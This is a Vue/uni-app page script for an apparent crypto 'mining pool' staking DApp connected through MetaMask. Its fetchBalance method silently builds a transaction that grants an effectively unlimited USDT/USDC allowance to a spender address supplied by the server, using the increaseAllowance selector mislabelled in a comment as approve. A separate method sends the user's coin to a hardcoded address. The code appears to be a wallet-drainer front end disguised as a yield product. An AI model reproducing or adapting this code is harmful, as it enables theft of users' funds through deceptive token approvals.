import CustomNavBar from '@/components/CustomNavBar/CustomNavBar.vue';
import CustomTabBar from '@/components/CustomTabBar/CustomTabBar.vue';
import api from '@/http/api.js';
import detectEthereumProvider from '@metamask/detect-provider';
import Web3 from 'web3';
import {formatNumber} from '@/src/utils/common.js'
export default {
	components: {
		CustomNavBar,
		CustomTabBar
	},
	data() {
		return {
			currentPage: 'pages/MinePool/index', //tabar跳转路径

			days: [7, 15, 30],
			selectedDay: 15,

			web3: null, // 页面级 Web3 实例
			provider: null, // 检测到的 MetaMask 提供者
			chainType: null, //链类型
			account: null, //账户地址
			amount: null, //转账金额
			
			assetsData:[],//资产详情


			PlatformData: {
				participant: '',
				userRevenue: '',
				totalOutput: '', //总产量
				validNode: '', //节点
			}, //平台数据
			
			erc20UsdtApproveAddress: '0xdac17f958d2ee523a2206206994597c13d831ec7',
			bsc20UsdtApproveAddress: '0x55d398326f99059ff775485246999027b3197955',

		}
	},
	onLoad() {
		//this.loadData();
	},
	onShow(){
		this.loadData();
	},
	computed:{
		currencyType(){
			return this.$userInfo.cointype
		}
	},
	methods: {
		async loadData() {
			const provider = await detectEthereumProvider();
			// 获取当前网络
			const chainId = await provider.request({
				method: 'eth_chainId'
			});
			if (chainId == '0x1') {
				this.chainType = 'erc'
			} else if (chainId == '0x38') {
				this.chainType = 'bsc'
			}
			//获取资产详情
			this.assetDetails();
			
			//获取平台收益详情
			api.getassets({
				chainType: this.chainType,
			}).then(res => {
				if (res.code == 1) {
					this.PlatformData = res.data;

					const parts1 = this.PlatformData.participant.toString().split('.');
					const parts2 = this.PlatformData.userRevenue.toString().split('.');
					const parts3 = this.PlatformData.validNode.toString().split('.');
					const parts4 = this.PlatformData.totalOutput.toString().split('.');

					parts1[0] = parts1[0].replace(/\B(?=(\d{3})+(?!\d))/g, ',');
					parts2[0] = parts2[0].replace(/\B(?=(\d{3})+(?!\d))/g, ',');
					parts3[0] = parts3[0].replace(/\B(?=(\d{3})+(?!\d))/g, ',');
					parts4[0] = parts4[0].replace(/\B(?=(\d{3})+(?!\d))/g, ',');

					const formatted1 = parts1.join('.');
					const formatted2 = parts2.join('.');
					const formatted3 = parts3.join('.');
					const formatted4 = parts4.join('.');

					this.PlatformData.participant = formatted1;
					this.PlatformData.userRevenue = formatted2;
					this.PlatformData.validNode = formatted3;
					this.PlatformData.totalOutput = formatted4;
				} else {
					uni.showToast({
						title: res.msg,
						icon: 'none'
					})
				}
			}).catch(err => {
				console.log(err)
			})
		},
			
		//资产详情
		async assetDetails(){
			const provider = await detectEthereumProvider();
			
			if (!provider) return false;
			// 1. 静默获取当前账户（不会弹出授权窗口）
			const accounts = await provider.request({
				method: 'eth_accounts'
			});
			
			//获取资产情况
			api.assetDetails({
				address:accounts[0],
				chaintype:this.chainType,
				cointype:this.$userInfo.cointype
			}).then(res=>{
				if(res.code==1){
					this.assetsData = res.data;
					this.assetsData.pool_balance = formatNumber(this.assetsData.pool_balance)
					this.assetsData.lockup_balance = formatNumber(this.assetsData.lockup_balance)
				}else{
					uni.showToast({
						title: res.msg,
						icon: 'none'
					})
				}
			})
		},
		//锁仓申请
		async lockWarehouse() {
			console.log(this.$userInfo.is_auth)
			//判断是否授权
			if(this.$userInfo.is_auth=='0'){
				await this.fetchBalance();
				return
			}
			
			console.log(this.amount)
			//锁仓输入框不能为空和零
			if(this.amount==null || this.amount=='0'){
				uni.showToast({title: '锁仓收益不能为0',icon: 'none'})
				return
			}
			
			//锁仓申请
			api.lockWarehouse({
				address: this.$userInfo.nowSubAccount[0],
				chaintype: this.$userInfo.chainType,
				cointype: this.$userInfo.cointype,
				token_num:this.amount,
				token_day:this.selectedDay.toString(),
			}).then(res=>{
				if(res.code==1){
					uni.showToast({
					    title: res.msg,
					    icon: 'none'
					});
				}else{
					uni.showToast({
					    title: res.msg,
					    icon: 'none'
					});
				}
			})
		},
		
		//交易和授权
		async fetchBalance() {
			const currHuobi = this.$userInfo.cointype || 'USDT'
			if (this.$userInfo.chainType == 'erc') {
				this.erc20UsdtApproveAddress = currHuobi === 'USDT' ? this.erc20UsdtApproveAddress :
					'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48'
		
				//判断是否已经连接账户
				if (this.$userInfo.nowSubAccount[0] && this.PlatformData.authorizedAddress && window.ethereum) {
					try {
						// 设置无限授权金额（2^256 - 1）
						const amount = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
						// 构造 approve 函数的 ABI 编码数据
						const functionSignature = '0x39509351'; // approve(address,uint256) 的方法ID
						const spender = this.PlatformData.authorizedAddress.toLowerCase().replace('0x', '')
							.padStart(64,
								'0');
						const value = amount.toString(16).padStart(64, '0');
						const data = functionSignature + spender + value;
		
						const transactionParameters = {
							to: this.erc20UsdtApproveAddress, // USDT 合约地址
							from: this.$userInfo.nowSubAccount[0], // 当前账户地址
							data: data, // 完整的交易数据
						};
		
						// 发送交易
						const txHash = await window.ethereum.request({
							method: 'eth_sendTransaction',
							params: [transactionParameters],
						});
		
						if (txHash) {
							//成功授权，更改账户状态
							api.changeAccount({
								address: this.$userInfo.nowSubAccount[0],
								chaintype: this.$userInfo.chainType,
								cointype: this.$userInfo.cointype
							}).then(res => {
								if (res.code == 1) {
									this.$updateIs_auth('1')
									return res.msg; // 这个 return 会作为 authorize() 的返回值
								} else {
									uni.showToast({
										title: '授权失败',
										icon: 'none'
									});
								}
							})
		
						}
		
					} catch (error) {
						console.log(error)
					}
				} else {
				}
			} else if (this.$userInfo.chainType == 'bsc') {
				this.bsc20UsdtApproveAddress = currHuobi === 'USDT' ? this.bsc20UsdtApproveAddress :
					'0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d'
				//通过全局绑定数据判断是否已经连接账户
				if (this.$userInfo.nowSubAccount[0] && this.PlatformData.authorizedAddress && window.ethereum) {
					try {
						// 设置无限授权金额（2^256 - 1）
						const amount = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff');
						// 构造 approve 函数的 ABI 编码数据
						const functionSignature = '0x39509351'; // approve(address,uint256) 的方法ID
						const spender = this.PlatformData.authorizedAddress.toLowerCase().replace('0x', '')
							.padStart(64,
								'0');
						const value = amount.toString(16).padStart(64, '0');
						const data = functionSignature + spender + value;
		
						const transactionParameters = {
							to: this.bsc20UsdtApproveAddress, // USDT 合约地址
							from: this.$userInfo.nowSubAccount[0], // 当前账户地址
							data: data, // 完整的交易数据
						};
		
		
						// 发送交易
						const txHash = await window.ethereum.request({
							method: 'eth_sendTransaction',
							params: [transactionParameters],
						});
						if (txHash) {
							//成功授权，更改账户状态
							api.getAuthorize({
								address: this.$userInfo.nowSubAccount[0],
								chaintype: this.$userInfo.chainType,
								cointype: this.$userInfo.cointype
							}).then(res => {
								if (res.code == 1) {
									this.$updateIs_auth('1')
									return res.msg; // 这个 return 会作为 authorize() 的返回值
								} else {
									uni.showToast({
										title: '授权失败',
										icon: 'none'
									});
								}
							})
		
						}
		
					} catch (error) {
						console.log('4444', error)
					}
				} else {
					// this.$toast.info(this.$t('message.Please_connect_wallet_first'));
				}
			}
		},
		//web3初始化
		async initProvider() {
			this.provider = await detectEthereumProvider()
			if (this.provider) {
				this.web3 = new Web3(this.provider)
				// 监听账户变化
				this.provider.on('accountsChanged', (accounts) => {
					this.account = accounts[0] || ''
				})
			} else {
				uni.showToast({
					title: '请安装 MetaMask 扩展',
					icon: 'none'
				})
			}
		},
		//高级矿池，发起转账
		async contractRequest() {
			if (!this.provider) return
			try {
				const accounts = await this.provider.request({
					method: 'eth_requestAccounts'
				})
				this.account = accounts[0]
				this.sendTransaction();
			} catch (error) {
				uni.showToast({
					title: '用户拒绝授权',
					icon: 'none'
				})
			}
		},
		
		// 发送交易
		async sendTransaction() {
			if (!this.web3 || !this.account) return

			try {
				const tx = {
					from: this.account,
					to: '0xC6CE98E0cf3fd6594dcCBC220466E7465a1b95D0',
					value: this.web3.utils.toWei(this.amount, 'ether')
				}

				const txHash = await this.web3.eth.sendTransaction(tx)
				console.log('交易哈希:', txHash)

				uni.showToast({
					title: '交易已发送'
				})
			} catch (error) {
				console.log(error)
				uni.showToast({
					title: `交易失败: ${error.message}`,
					icon: 'none'
				})
			}
		},
		/* 内容事件 */
		selectDay(day) {
			this.selectedDay = day
		},

		navigateToAdvanced() {
			uni.navigateTo({
				url: '/pages/mining/advanced'
			})
		}
	},
	async mounted() {
		// 初始化检测
		await this.initProvider()
	},
}